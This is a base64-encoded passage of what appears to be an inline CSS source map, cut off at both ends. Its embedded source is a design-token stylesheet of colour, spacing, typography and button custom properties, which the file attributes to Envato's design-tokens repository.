EscURBQUE7RUFDQSwrREFBQTtFQUNBLDREQUFBO0VBQ0EsNERBQUE7RUFFQSx1REFBQTtFQUNBLDhDQUFBO0VBQ0Esd0RBQUE7RUFDQSxxREFBQTtFQUNBLHFEQUFBO0VBRUEsdURBQUE7RUFDQSw4Q0FBQTtFQUNBLHdEQUFBO0VBQ0Esc0RBQUE7RUFDQSxxREFBQTtFQUVBLHVEQUFBO0VBQ0EsOENBQUE7RUFDQSx3REFBQTtFQUNBLHNEQUFBO0VBQ0EscURBQUE7RUFFQSx1REFBQTtFQUNBLDhDQUFBO0VBQ0Esd0RBQUE7RUFDQSxzREFBQTtFQUNBLHFEQUFBO0VBRUEsMERBQUE7RUFDQSxpREFBQTtFQUNBLDJEQUFBO0VBQ0EseURBQUE7RUFDQSx5REFBQTtFQUVBLDBEQUFBO0VBQ0EsaURBQUE7RUFDQSwyREFBQTtFQUNBLDBEQUFBO0VBQ0EseURBQUE7RUFDQSwrREFBQTtFQUVBLDBEQUFBO0VBQ0EsaURBQUE7RUFDQSwyREFBQTtFQUNBLDBEQUFBO0VBQ0EseURBQUE7RUFDQSwrREFBQTtFQUVBLDJEQUFBO0VBQ0Esa0RBQUE7RUFDQSw0REFBQTtFQUNBLDBEQUFBO0VBQ0EsMERBQUE7RUFFQSwyREFBQTtFQUNBLGtEQUFBO0VBQ0EsMkRBQUE7RUFDQSwwREFBQTtFQUNBLDBEQUFBO0VBRUEscURBQUE7RUFDQSw0Q0FBQTtFQUNBLHFEQUFBO0VBQ0EscURBQUE7RUFDQSxtREFBQTtBQXhDRjs7QUEyQ0E7RUFDRSxtREFBQTtFQUNBLHlEQUFBO0VBQ0EsdURBQUE7RUFDQSwyREFBQTtFQUNBLHNEQUFBO0VBQ0Esd0RBQUE7RUFDQSxtREFBQTtFQUNBLHdEQUFBO0VBQ0EsbURBQUE7RUFFQSwyQ0FBQTtFQUNBLDRDQUFBO0VBQ0EsK0NBQUE7RUFDQSxtREFBQTtFQUNBLCtDQUFBO0VBQ0Esc0RBQUE7RUFDQSxzREFBQTtFQUNBLDJEQUFBO0VBQ0EsMkRBQUE7RUFDQSxrREFBQTtFQUNBLGtEQUFBO0VBQ0EscURBQUE7RUFDQSxzREFBQTtFQUNBLHVEQUFBO0VBQ0EsdURBQUE7RUFFQSw4Q0FBQTtFQUNBLGlEQUFBO0VBRUEsOENBQUE7RUFDQSx3REFBQTtFQUNBLCtDQUFBO0VBQ0EsMkNBQUE7RUFDQSxnREFBQTtFQUNBLCtDQUFBO0VBQ0EsdURBQUE7RUFDQSxxREFBQTtFQUNBLDREQUFBO0VBQ0EsMERBQUE7RUFDQSxtREFBQTtFQUNBLGlEQUFBO0VBQ0EsdURBQUE7RUFDQSxrREFBQTtFQUNBLHdEQUFBO0VBQ0Esc0RBQUE7RUFFQSw4Q0FBQTtFQUNBLCtDQUFBO0VBQ0EsOENBQUE7RUFFQSx3Q0FBQTtBQTdDRjs7QUFnREE7RUFDRSxtREFBQTtFQUNBLHlEQUFBO0VBQ0EsdURBQUE7RUFDQSx1REFBQTtFQUNBLHNEQUFBO0VBQ0EseURBQUE7RUFDQSwrQ0FBQTtFQUNBLHdEQUFBO0VBQ0EsbURBQUE7RUFFQSwrQ0FBQTtFQUNBLDZDQUFBO0VBQ0EsMkNBQUE7RUFDQSxtREFBQTtFQUNBLCtDQUFBO0VBQ0Esd0RBQUE7RUFDQSxzREFBQTtFQUNBLDZEQUFBO0VBQ0EsMkRBQUE7RUFDQSxvREFBQTtFQUNBLGtEQUFBO0VBQ0Esc0RBQUE7RUFDQSxrREFBQTtFQUNBLHlEQUFBO0VBQ0EsdURBQUE7RUFFQSw4Q0FBQTtFQUNBLGlEQUFBO0VBRUEsOENBQUE7RUFDQSx3REFBQTtFQUNBLDJDQUFBO0VBQ0EsK0NBQUE7RUFDQSxnREFBQTtFQUNBLCtDQUFBO0VBQ0EsdURBQUE7RUFDQSx1REFBQTtFQUNBLDREQUFBO0VBQ0EsNERBQUE7RUFDQSxtREFBQTtFQUNBLG1EQUFBO0VBQ0EsbURBQUE7RUFDQSxzREFBQTtFQUNBLHdEQUFBO0VBQ0Esd0RBQUE7RUFFQSwwQ0FBQTtFQUNBLCtDQUFBO0VBQ0EsOENBQUE7RUFFQSx3Q0FBQTtBQWxERiIsInNvdXJjZXNDb250ZW50IjpbIi8vIENvcGllZCBmcm9tIGh0dHBzOi8vZ2l0aHViLmNvbS9lbnZhdG8vZW52YXRvLWRlc2lnbi10b2tlbnMvYmxvYi9tYWluL3Rva2Vucy5jc3NcblxuOnJvb3Qge1xuICAtLWNvbG9yLWdyZXktMTAwMDogIzE5MTkxOTtcbiAgLS1jb2xvci1ncmV5LTEwMDAtbWFzazogcmdiKDI1IDI1IDI1IC8gMC43KTtcbiAgLS1jb2xvci1ncmV5LTcwMDogIzM4MzgzODtcbiAgLS1jb2xvci1ncmV5LTUwMDogIzcwNzA3MDtcbiAgLS1jb2xvci1ncmV5LTMwMDogIzk0OTQ5NDtcbiAgLS1jb2xvci1ncmV5LTEwMDogI2NjY2NjYztcbiAgLS1jb2xvci1ncmV5LTUwOiAjZWNlY2VlO1xuICAtLWNvbG9yLWdyZXktMjU6ICNmOWY5ZmI7XG4gIC0tY29sb3Itd2hpdGU6ICNmZmZmZmY7XG4gIC0tY29sb3Itd2hpdGUtbWFzazogcmdiKDI1NSAyNTUgMjU1IC8gMC43KTtcblxuICAtLWNvbG9yLWdyZWVuLTEwMDA6ICMxYTQyMDA7XG4gIC0tY29sb3ItZ3JlZW4tNzAwOiAjMmU3NDAwO1xuICAtLWNvbG9yLWdyZWVuLTUwMDogIzUxYTMxZDtcbiAgLS1jb2xvci1ncmVlbi0zMDA6ICM2Y2M4MzI7XG4gIC0tY29sb3ItZ3JlZW4tMTAwOiAjOWNlZTY5O1xuICAtLWNvbG9yLWdyZWVuLTI1OiAjZWFmZmRjO1xuXG4gIC0tY29sb3ItYmx1ZS0xMDAwOiAjMTYzNTdiO1xuICAtLWNvbG9yLWJsdWUtNzAwOiAjNGY1Y2U4O1xuICAtLWNvbG9yLWJsdWUtNTAwOiAjNzU4NWZmO1xuICAtLWNvbG9yLWJsdWUtMjU6ICNmMGYxZmY7XG5cbiAgLS1jb2xvci12ZXJ5YmVycnktMTAwMDogIzc3MDEyZDtcbiAgLS1jb2xvci12ZXJ5YmVycnktNzAwOiAjYjkwMDRiO1xuICAtLWNvbG9yLXZlcnliZXJyeS01MDA6ICNmNjUyODY7XG4gIC0tY29sb3ItdmVyeWJlcnJ5LTI1OiAjZmZlY2YyO1xuXG4gIC0tY29sb3ItYnViYmxlZ3VtLTcwMDogI2IwMzdhNjtcbiAgLS1jb2xvci1idWJibGVndW0tMTAwOiAjZTZhZmUxO1xuICAtLWNvbG9yLWJ1YmJsZWd1bS0yNTogI2ZlZWRmYztcblxuICAtLWNvbG9yLWphZmZhLTEwMDA6ICM2OTI0MDA7XG4gIC0tY29sb3ItamFmZmEtNzAwOiAjYzI0MTAwO1xuICAtLWNvbG9yLWphZmZhLTUwMDogI2ZmNmUyODtcbiAgLS1jb2xvci1qYWZmYS0yNTogI2ZmZjVlZDtcblxuICAtLWNvbG9yLXlvbGstMTAwMDogIzQ1MmQwZDtcbiAgLS1jb2xvci15b2xrLTcwMDogIzllNWYwMDtcbiAgLS1jb2xvci15b2xrLTUwMDogI2MyODgwMDtcbiAgLS1jb2xvci15b2xrLTMwMDogI2ZmYzgwMDtcbiAgLS1jb2xvci15b2xrLTI1OiAjZmVmYWVhO1xuXG4gIC0tY29sb3ItdHJhbnNwYXJlbnQ6IHRyYW5zcGFyZW50O1xuXG4gIC0tYnJlYWtwb2ludC13aWRlOiAxMDI0cHg7XG4gIC0tYnJlYWtwb2ludC1leHRyYS13aWRlOiAxNDQwcHg7XG4gIC0tYnJlYWtwb2ludC0yay13aWRlOiAyNTYwcHg7XG5cbiAgLS1zcGFjaW5nLTh4OiAxMjhweDtcbiAgLS1zcGFjaW5nLTd4OiA2NHB4O1xuICAtLXNwYWNpbmctNng6IDQwcHg7XG4gIC0tc3BhY2luZy01eDogMzJweDtcbiAgLS1zcGFjaW5nLTR4OiAyNHB4O1xuICAtLXNwYWNpbmctM3g6IDE2cHg7XG4gIC0tc3BhY2luZy0yeDogOHB4O1xuICAtLXNwYWNpbmctMXg6IDRweDtcbiAgLS1zcGFjaW5nLW5vbmU6IDBweDtcblxuICAtLWNodW5raW5lc3Mtbm9uZTogMHB4O1xuICAtLWNodW5raW5lc3MtdGhpbjogMXB4O1xuICAtLWNodW5raW5lc3MtdGhpY2s6IDJweDtcblxuICAtLXJvdW5kbmVzcy1zcXVhcmU6IDBweDtcbiAgLS1yb3VuZG5lc3Mtc3VidGxlOiA0cHg7XG4gIC0tcm91bmRuZXNzLWV4dHJhLXJvdW5kOiAxNnB4O1xuICAtLXJvdW5kbmVzcy1jaXJjbGU6IDQ4cHg7XG5cbiAgLS1zaGFkb3ctNTAwOiAwcHggMnB4IDEycHggMHB4IHJnYmEoMCAwIDAgLyAxNSUpO1xuICAtLWVsZXZhdGlvbi1tZWRpdW06IHZhcigtLXNoYWRvdy01MDApO1xuXG4gIC8qKiBAZGVwcmVjYXRlZCAqL1xuICAtLXRyYW5zaXRpb24tYmFzZTogMC4ycztcblxuICAtLXRyYW5zaXRpb24tZHVyYXRpb24tbG9uZzogNTAwbXM7XG4gIC0tdHJhbnNpdGlvbi1kdXJhdGlvbi1tZWRpdW06IDMwMG1zO1xuICAtLXRyYW5zaXRpb24tZHVyYXRpb24tc2hvcnQ6IDE1MG1zO1xuXG4gIC0tdHJhbnNpdGlvbi1lYXNpbmctbGluZWFyOiBjdWJpYy1iZXppZXIoMCwgMCwgMSwgMSk7XG4gIC0tdHJhbnNpdGlvbi1lYXNpbmctZWFzZS1pbjogY3ViaWMtYmV6aWVyKDAuNDIsIDAsIDEsIDEpO1xuICAtLXRyYW5zaXRpb24tZWFzaW5nLWVhc2UtaW4tb3V0OiBjdWJpYy1iZXppZXIoMC40MiwgMCwgMC41OCwgMSk7XG4gIC0tdHJhbnNpdGlvbi1lYXNpbmctZWFzZS1vdXQ6IGN1YmljLWJlemllcigwLCAwLCAwLjU4LCAxKTtcblxuICAtLWZvbnQtZmFtaWx5LXdpZGU6IFwiUG9seVNhbnNXaWRlXCIsIFwiUG9seVNhbnNcIiwgXCJJbnRlclwiLCAtYXBwbGUtc3lzdGVtLCBcIkJsaW5rTWFjU3lzdGVtRm9udFwiLFxuICAgIFwiU2Vnb2UgVUlcIiwgXCJGaXJhIFNhbnNcIiwgXCJIZWx2ZXRpY2EgTmV1ZVwiLCBcIkFyaWFsXCIsIHNhbnMtc2VyaWY7XG4gIC0tZm9udC1mYW1pbHktcmVndWxhcjogXCJQb2x5U2Fuc1wiLCBcIkludGVyXCIsIC1hcHBsZS1zeXN0ZW0sIFwiQmxpbmtNYWNTeXN0ZW1Gb250XCIsIFwiU2Vnb2UgVUlcIixcbiAgICBcIkZpcmEgU2Fuc1wiLCBcIkhlbHZldGljYSBOZXVlXCIsIFwiQXJpYWxcIiwgc2Fucy1zZXJpZjtcbiAgLS1mb250LWZhbWlseS1tb25vc3BhY2U6IFwiQ291cmllciBOZXdcIiwgbW9ub3NwYWNlO1xuXG4gIC0tZm9udC1zaXplLTEweDogNnJlbTtcbiAgLS1mb250LXNpemUtOXg6IDQuNXJlbTtcbiAgLS1mb250LXNpemUtOHg6IDNyZW07XG4gIC0tZm9udC1zaXplLTd4OiAyLjI1cmVtO1xuICAtLWZvbnQtc2l6ZS02eDogMS44NzVyZW07XG4gIC0tZm9udC1zaXplLTV4OiAxLjVyZW07XG4gIC0tZm9udC1zaXplLTR4OiAxLjEyNXJlbTtcbiAgLS1mb250LXNpemUtM3g6IDFyZW07XG4gIC0tZm9udC1zaXplLTJ4OiAwLjg3NXJlbTtcbiAgLS1mb250LXNpemUtMXg6IDAuNzVyZW07XG5cbiAgLS1mb250LXdlaWdodC1idWxreTogNzAwO1xuICAtLWZvbnQtd2VpZ2h0LW1lZGlhbjogNjAwO1xuICAtLWZvbnQtd2VpZ2h0LW5ldXRyYWw6IDQwMDtcblxuICAtLWZvbnQtc3BhY2luZy10aWdodDogLTAuMDJlbTtcbiAgLS1mb250LXNwYWNpbmctbm9ybWFsOiAwO1xuICAtLWZvbnQtc3BhY2luZy1sb29zZTogMC4wMmVtO1xuXG4gIC0tZm9udC1oZWlnaHQtdGlnaHQ6IDE7XG4gIC0tZm9udC1oZWlnaHQtbm9ybWFsOiAxLjU7XG5cbiAgLS1pY29uLXNpemUtNXg6IDQ4cHg7XG4gIC0taWNvbi1zaXplLTR4OiA0MHB4O1xuICAtLWljb24tc2l6ZS0zeDogMzJweDtcbiAgLS1pY29uLXNpemUtMng6IDI0cHg7XG4gIC0taWNvbi1zaXplLTF4OiAxNnB4O1xuICAtLWljb24tc2l6ZS10ZXh0LXJlc3BvbnNpdmU6IGNhbGModmFyKC0tZm9udC1zaXplLTN4KSAqIDEuNSk7XG5cbiAgLS1sYXllci1kZXB0aC1jZWlsaW5nOiA5OTk5O1xuXG4gIC0tbWluaW11bS10b3VjaC1hcmVhOiA0MHB4O1xuXG4gIC8qIGNvbXBvbmVudCB3aXJpbmc/IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xuXG4gIC0tYnV0dG9uLWhlaWdodC1sYXJnZTogNDhweDtcbiAgLS1idXR0b24taGVpZ2h0LW1lZGl1bTogNDBweDtcbiAgLS1idXR0b24tZm9udC1mYW1pbHk6IHZhcigtLWZvbnQtZmFtaWx5LXJlZ3VsYXIpO1xuICAtLWJ1dHRvbi1mb250LXNpemUtbGFyZ2U6IHZhcigtLWZvbnQtc2l6ZS0zeCk7XG4gIC0tYnV0dG9uLWZvbnQtc2l6ZS1tZWRpdW06IHZhcigtLWZvbnQtc2l6ZS0yeCk7XG4gIC0tYnV0dG9uLWZvbnQtd2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodC1tZWRpYW4pO1xuICAtLWJ1dHRvbi1mb250LWhlaWdodDogdmFyKC0tZm9udC1oZWlnaHQtbm9ybWFsKTtcbiAgLS1idXR0b24tZm9udC1zcGFjaW5nOiB2YXIoLS1mb250LXNwYWNpbmctbm9ybWFsKTtcblxuICAtLXRleHQtc3R5bGUtY2hpcC1mYW1pbHk6IHZhcigtLWZvbnQtZmFtaWx5LXJlZ3VsYXIpO1xuICAtLXRleHQtc3R5bGUtY2hpcC1zcGFjaW5nOiB2YXIoLS1mb250LXNwYWNpbmctbm9ybWFsKTtcbiAgLS10ZXh0LXN0eWxlLWNoaXAteGxhcmdlLXNpemU6IHZhcigtLWZvbnQtc2l6ZS01eCk7XG4gIC0tdGV4dC1zdHlsZS1jaGlwLXhsYXJnZS13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LW1lZGlhbik7XG4gIC0tdGV4dC1zdHlsZS1jaGlwLXhsYXJnZS1oZWlnaHQ6IHZhcigtLWZvbnQtaGVpZ2h0LXRpZ2h0KTtcbiAgLS10ZXh0LXN0eWxlLWNoaXAtbGFyZ2Utc2l6ZTogdmFyKC0tZm9udC1zaXplLTN4KTtcbiAgLS10ZXh0LXN0eWxlLWNoaXAtbGFyZ2Utd2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodC1uZXV0cmFsKTtcbiAgLS10ZXh0LXN0eWxlLWNoaXAtbGFyZ2UtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC1ub3JtYWwpO1xuICAtLXRleHQtc3R5bGUtY2hpcC1tZWRpdW0tc2l6ZTogdmFyKC0tZm9udC1zaXplLTJ4KTtcbiAgLS10ZXh0LXN0eWxlLWNoaXAtbWVkaXVtLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbmV1dHJhbCk7XG4gIC0tdGV4dC1zdHlsZS1jaGlwLW1lZGl1bS1oZWlnaHQ6IHZhcigtLWZvbnQtaGVpZ2h0LW5vcm1hbCk7XG5cbiAgLyogdGhlbWU/IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cblxuICAtLXRleHQtc3R5bGUtY2FtcGFpZ24tbGFyZ2UtZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS13aWRlKTtcbiAgLS10ZXh0LXN0eWxlLWNhbXBhaWduLWxhcmdlLXNpemU6IHZhcigtLWZvbnQtc2l6ZS05eCk7XG4gIC0tdGV4dC1zdHlsZS1jYW1wYWlnbi1sYXJnZS1zcGFjaW5nOiB2YXIoLS1mb250LXNwYWNpbmctbm9ybWFsKTtcbiAgLS10ZXh0LXN0eWxlLWNhbXBhaWduLWxhcmdlLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtYnVsa3kpO1xuICAtLXRleHQtc3R5bGUtY2FtcGFpZ24tbGFyZ2UtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC10aWdodCk7XG5cbiAgLS10ZXh0LXN0eWxlLWNhbXBhaWduLXNtYWxsLWZhbWlseTogdmFyKC0tZm9udC1mYW1pbHktd2lkZSk7XG4gIC0tdGV4dC1zdHlsZS1jYW1wYWlnbi1zbWFsbC1zaXplOiB2YXIoLS1mb250LXNpemUtN3gpO1xuICAtLXRleHQtc3R5bGUtY2FtcGFpZ24tc21hbGwtc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS1jYW1wYWlnbi1zbWFsbC13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LWJ1bGt5KTtcbiAgLS10ZXh0LXN0eWxlLWNhbXBhaWduLXNtYWxsLWhlaWdodDogdmFyKC0tZm9udC1oZWlnaHQtdGlnaHQpO1xuXG4gIC0tdGV4dC1zdHlsZS10aXRsZS0xLWZhbWlseTogdmFyKC0tZm9udC1mYW1pbHktcmVndWxhcik7XG4gIC0tdGV4dC1zdHlsZS10aXRsZS0xLXNpemU6IHZhcigtLWZvbnQtc2l6ZS04eCk7XG4gIC0tdGV4dC1zdHlsZS10aXRsZS0xLXNwYWNpbmc6IHZhcigtLWZvbnQtc3BhY2luZy1ub3JtYWwpO1xuICAtLXRleHQtc3R5bGUtdGl0bGUtMS13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LWJ1bGt5KTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTEtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC10aWdodCk7XG5cbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTItZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS1yZWd1bGFyKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTItc2l6ZTogdmFyKC0tZm9udC1zaXplLTd4KTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTItc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS10aXRsZS0yLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbWVkaWFuKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTItaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC10aWdodCk7XG5cbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTMtZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS1yZWd1bGFyKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTMtc2l6ZTogdmFyKC0tZm9udC1zaXplLTZ4KTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTMtc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS10aXRsZS0zLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbWVkaWFuKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTMtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC10aWdodCk7XG5cbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTQtZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS1yZWd1bGFyKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTQtc2l6ZTogdmFyKC0tZm9udC1zaXplLTV4KTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTQtc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS10aXRsZS00LXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbWVkaWFuKTtcbiAgLS10ZXh0LXN0eWxlLXRpdGxlLTQtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC10aWdodCk7XG5cbiAgLS10ZXh0LXN0eWxlLXN1YmhlYWRpbmctZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS1yZWd1bGFyKTtcbiAgLS10ZXh0LXN0eWxlLXN1YmhlYWRpbmctc2l6ZTogdmFyKC0tZm9udC1zaXplLTR4KTtcbiAgLS10ZXh0LXN0eWxlLXN1YmhlYWRpbmctc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS1zdWJoZWFkaW5nLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbWVkaWFuKTtcbiAgLS10ZXh0LXN0eWxlLXN1YmhlYWRpbmctaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC1ub3JtYWwpO1xuXG4gIC0tdGV4dC1zdHlsZS1ib2R5LWxhcmdlLWZhbWlseTogdmFyKC0tZm9udC1mYW1pbHktcmVndWxhcik7XG4gIC0tdGV4dC1zdHlsZS1ib2R5LWxhcmdlLXNpemU6IHZhcigtLWZvbnQtc2l6ZS0zeCk7XG4gIC0tdGV4dC1zdHlsZS1ib2R5LWxhcmdlLXNwYWNpbmc6IHZhcigtLWZvbnQtc3BhY2luZy1ub3JtYWwpO1xuICAtLXRleHQtc3R5bGUtYm9keS1sYXJnZS13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LW5ldXRyYWwpO1xuICAtLXRleHQtc3R5bGUtYm9keS1sYXJnZS1oZWlnaHQ6IHZhcigtLWZvbnQtaGVpZ2h0LW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS1ib2R5LWxhcmdlLXN0cm9uZy13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LWJ1bGt5KTtcblxuICAtLXRleHQtc3R5bGUtYm9keS1zbWFsbC1mYW1pbHk6IHZhcigtLWZvbnQtZmFtaWx5LXJlZ3VsYXIpO1xuICAtLXRleHQtc3R5bGUtYm9keS1zbWFsbC1zaXplOiB2YXIoLS1mb250LXNpemUtMngpO1xuICAtLXRleHQtc3R5bGUtYm9keS1zbWFsbC1zcGFjaW5nOiB2YXIoLS1mb250LXNwYWNpbmctbm9ybWFsKTtcbiAgLS10ZXh0LXN0eWxlLWJvZHktc21hbGwtd2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodC1uZXV0cmFsKTtcbiAgLS10ZXh0LXN0eWxlLWJvZHktc21hbGwtaGVpZ2h0OiB2YXIoLS1mb250LWhlaWdodC1ub3JtYWwpO1xuICAtLXRleHQtc3R5bGUtYm9keS1zbWFsbC1zdHJvbmctd2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodC1idWxreSk7XG5cbiAgLS10ZXh0LXN0eWxlLWxhYmVsLWxhcmdlLWZhbWlseTogdmFyKC0tZm9udC1mYW1pbHktcmVndWxhcik7XG4gIC0tdGV4dC1zdHlsZS1sYWJlbC1sYXJnZS1zaXplOiB2YXIoLS1mb250LXNpemUtM3gpO1xuICAtLXRleHQtc3R5bGUtbGFiZWwtbGFyZ2Utc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLW5vcm1hbCk7XG4gIC0tdGV4dC1zdHlsZS1sYWJlbC1sYXJnZS13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LW1lZGlhbik7XG4gIC0tdGV4dC1zdHlsZS1sYWJlbC1sYXJnZS1oZWlnaHQ6IHZhcigtLWZvbnQtaGVpZ2h0LW5vcm1hbCk7XG5cbiAgLS10ZXh0LXN0eWxlLWxhYmVsLXNtYWxsLWZhbWlseTogdmFyKC0tZm9udC1mYW1pbHktcmVndWxhcik7XG4gIC0tdGV4dC1zdHlsZS1sYWJlbC1zbWFsbC1zaXplOiB2YXIoLS1mb250LXNpemUtMngpO1xuICAtLXRleHQtc3R5bGUtbGFiZWwtc21hbGwtc3BhY2luZzogdmFyKC0tZm9udC1zcGFjaW5nLWxvb3NlKTtcbiAgLS10ZXh0LXN0eWxlLWxhYmVsLXNtYWxsLXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQtbWVkaWFuKTtcbiAgLS10ZXh0LXN0eWxlLWxhYmVsLXNtYWxsLWhlaWdodDogdmFyKC0tZm9udC1oZWlnaHQtbm9ybWFsKTtcblxuICAtLXRleHQtc3R5bGUtbWljcm8tZmFtaWx5OiB2YXIoLS1mb250LWZhbWlseS1yZWd1bGFyKTtcbiAgLS10ZXh0LXN0eWxlLW1pY3JvLXNpemU6IHZhcigtLWZvbnQtc2l6ZS0xeCk7XG4gIC0tdGV4dC1zdHlsZS1taWNyby1zcGFjaW5nOiB2YXIoLS1mb250LXNwYWNpbmctbG9vc2UpO1xuICAtLXRleHQtc3R5bGUtbWljcm8td2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodC1uZXV0cmFsKTtcbiAgLS10ZXh0LXN0eWxlLW1pY3JvLWhlaWdodDogdmFyKC0tZm9udC1oZWlnaHQtdGlnaHQpO1xufVxuXG4uY29sb3Itc2NoZW1lLWxpZ2h0IHtcbiAgLS1jb2xvci1pbnRlcmFjdGl2ZS1wcmltYXJ5OiB2YXIoLS1jb2xvci1ncmVlbi0xMDApO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLXByaW1hcnktaG92ZXI6IHZhcigtLWNvbG9yLWdyZWVuLTMwMCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtc2Vjb25kYXJ5OiB2YXIoLS1jb2xvci10cmFuc3BhcmVudCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtc2Vjb25kYXJ5LWhvdmVyOiB2YXIoLS1jb2xvci1ncmV5LTEwMDApO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLXRlcnRpYXJ5OiB2YXIoLS1jb2xvci10cmFuc3BhcmVudCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtdGVydGlhcnktaG92ZXI6IHZhcigtLWNvbG9yLWdyZXktMjUpO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLWNvbnRyb2w6IHZhcigtLWNvbG9yLWdyZXktMTAwMCk7XG4gIC0tY29sb3ItaW50ZXJhY3RpdmUtY29udHJvbC1ob3ZlcjogdmFyKC0tY29sb3ItZ3JleS03MDApO1xuICAtLWNvbG9yLWludGVyYWN0aXZlLWRpc2FibGVkOiB2YXIoLS1jb2xvci1ncmV5LTEwMCk7XG5cbiAgLS1jb2xvci1zdXJmYWNlLXByaW1hcnk6IHZhcigtLWNvbG9yLXdoaXRlKTtcbiAgLS1jb2xvci1zdXJmYWNlLWFjY2VudDogdmFyKC0tY29sb3ItZ3JleS01MCk7XG4gIC0tY29sb3Itc3VyZmFjZS1pbnZlcnNlOiB2YXIoLS1jb2xvci1ncmV5LTEwMDApO1xuICAtLWNvbG9yLXN1cmZhY2UtYnJhbmQtYWNjZW50OiB2YXIoLS1jb2xvci1qYWZmYS0yNSk7XG4gIC0tY29sb3Itc3VyZmFjZS1lbGV2YXRlZDogdmFyKC0tY29sb3ItZ3JleS03MDApO1xuICAtLWNvbG9yLXN1cmZhY2UtY2F1dGlvbi1kZWZhdWx0OiB2YXIoLS1jb2xvci1qYWZmYS0yNSk7XG4gIC0tY29sb3Itc3VyZmFjZS1jYXV0aW9uLXN0cm9uZzogdmFyKC0tY29sb3ItamFmZmEtNzAwKTtcbiAgLS1jb2xvci1zdXJmYWNlLWNyaXRpY2FsLWRlZmF1bHQ6IHZhcigtLWNvbG9yLXZlcnliZXJyeS0yNSk7XG4gIC0tY29sb3Itc3VyZmFjZS1jcml0aWNhbC1zdHJvbmc6IHZhcigtLWNvbG9yLXZlcnliZXJyeS03MDApO1xuICAtLWNvbG9yLXN1cmZhY2UtaW5mby1kZWZhdWx0OiB2YXIoLS1jb2xvci1ibHVlLTI1KTtcbiAgLS1jb2xvci1zdXJmYWNlLWluZm8tc3Ryb25nOiB2YXIoLS1jb2xvci1ibHVlLTcwMCk7XG4gIC0tY29sb3Itc3VyZmFjZS1uZXV0cmFsLWRlZmF1bHQ6IHZhcigtLWNvbG9yLWdyZXktMjUpO1xuICAtLWNvbG9yLXN1cmZhY2UtbmV1dHJhbC1zdHJvbmc6IHZhcigtLWNvbG9yLWdyZXktMTAwMCk7XG4gIC0tY29sb3Itc3VyZmFjZS1wb3NpdGl2ZS1kZWZhdWx0OiB2YXIoLS1jb2xvci1ncmVlbi0yNSk7XG4gIC0tY29sb3Itc3VyZmFjZS1wb3NpdGl2ZS1zdHJvbmc6IHZhcigtLWNvbG9yLWdyZWVuLTcwMCk7XG5cbiAgLS1jb2xvci1vdmVybGF5LWxpZ2h0OiB2YXIoLS1jb2xvci13aGl0ZS1tYXNrKTtcbiAgLS1jb2xvci1vdmVybGF5LWRhcms6IHZhcigtLWNvbG9yLWdyZXktMTAwMC1tYXNrKTtcblxuICAtLWNvbG9yLWNvbnRlbnQtYnJhbmQ6IHZhcigtLWNvbG9yLWdyZWVuLTEwMDApO1xuICAtLWNvbG9yLWN